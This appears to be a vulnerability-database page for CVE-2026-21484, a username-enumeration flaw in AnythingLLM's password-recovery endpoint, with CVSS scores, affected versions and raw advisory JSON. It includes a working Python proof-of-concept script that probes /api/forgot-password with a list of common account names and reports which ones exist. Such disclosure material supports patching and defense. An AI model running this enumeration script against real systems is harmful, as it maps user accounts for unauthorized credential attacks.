Security Vulnerability Report
中文
CVE-2026-21484 CVSS 5.3 MEDIUM

CVE-2026-21484

Published: 2026-01-03 02:15:42
Last Modified: 2026-02-23 17:54:39

Description

AnythingLLM is an application that turns pieces of content into context that any LLM can use as references during chatting. Prior to commit e287fab56089cf8fcea9ba579a3ecdeca0daa313, the password recovery endpoint returns different error messages depending on whether a username exists, so enabling username enumeration. Commit e287fab56089cf8fcea9ba579a3ecdeca0daa313 fixes this issue.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:mintplexlabs:anythingllm:*:*:*:*:*:*:*:* - VULNERABLE
AnythingLLM < e287fab56089cf8fcea9ba579a3ecdeca0daa313

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re from concurrent.futures import ThreadPoolExecutor, as_completed TARGET_URL = "http://target-anything-llm.com" FORGOT_PASSWORD_ENDPOINT = f"{TARGET_URL}/api/forgot-password" # Common test usernames/emails for enumeration TEST_ACCOUNTS = [ "[email protected]", "[email protected]", "[email protected]", "admin", "root", "administrator" ] def test_username(username): """ Test if a username exists by checking the password recovery response. Returns True if username exists, False otherwise. """ try: response = requests.post( FORGOT_PASSWORD_ENDPOINT, json={"email": username}, headers={ "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" }, timeout=10 ) response_text = response.text.lower() response_json = response.json() if response.headers.get('content-type', '').find('json') != -1 else {} # Check for different error messages that indicate username existence # If the response indicates success or password reset sent, user exists success_patterns = [ "password reset", "reset link", "email sent", "check your email", "successfully" ] # If the response indicates user not found, user does not exist not_found_patterns = [ "not found", "does not exist", "no account", "invalid email", "user not found" ] for pattern in success_patterns: if pattern in response_text: return (username, True, "User exists - password reset initiated") for pattern in not_found_patterns: if pattern in response_text: return (username, False, "User does not exist") # If response codes differ based on user existence if response.status_code == 200 and response_json.get('success'): return (username, True, "User exists") elif response.status_code == 404: return (username, False, "User not found") return (username, None, f"Unknown response: {response.status_code}") except Exception as e: return (username, None, f"Error: {str(e)}") def main(): print(f"[*] Testing password recovery endpoint: {FORGOT_PASSWORD_ENDPOINT}") print(f"[*] Testing {len(TEST_ACCOUNTS)} usernames...\n") existing_users = [] with ThreadPoolExecutor(max_workers=5) as executor: futures = {executor.submit(test_username, user): user for user in TEST_ACCOUNTS} for future in as_completed(futures): username, exists, message = future.result() if exists: print(f"[+] VULNERABLE: {username} - {message}") existing_users.append(username) else: print(f"[-] Not found: {username}") print(f"\n[*] Found {len(existing_users)} existing users") return existing_users if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21484", "sourceIdentifier": "[email protected]", "published": "2026-01-03T02:15:41.553", "lastModified": "2026-02-23T17:54:38.833", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "AnythingLLM is an application that turns pieces of content into context that any LLM can use as references during chatting. Prior to commit e287fab56089cf8fcea9ba579a3ecdeca0daa313, the password recovery endpoint returns different error messages depending on whether a username exists, so enabling username enumeration. Commit e287fab56089cf8fcea9ba579a3ecdeca0daa313 fixes this issue."}, {"lang": "es", "value": "AnythingLLM es una aplicación que convierte fragmentos de contenido en contexto que cualquier LLM puede usar como referencias al chatear. Antes del commit e287fab56089cf8fcea9ba579a3ecdeca0daa313, el endpoint de recuperación de contraseña devuelve diferentes mensajes de error dependiendo de si un nombre de usuario existe, lo que permite la enumeración de nombres de usuario. El commit e287fab56089cf8fcea9ba579a3ecdeca0daa313 soluciona este problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-203"}, {"lang": "en", "value": "CWE-204"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-203"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mintplexlabs:anythingllm:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.10.0", "matchCriteriaId": "8DEA04F2-1EE6-4943-B989-76CB56A33BC2"}]}]}], "references": [{"url": "https://github.com/Mintplex-Labs/anything-llm/commit/e287fab56089cf8fcea9ba579a3ecdeca0daa313", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/Mintplex-Labs/anything-llm/security/advisories/GHSA-47vr-w3vm-69ch", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}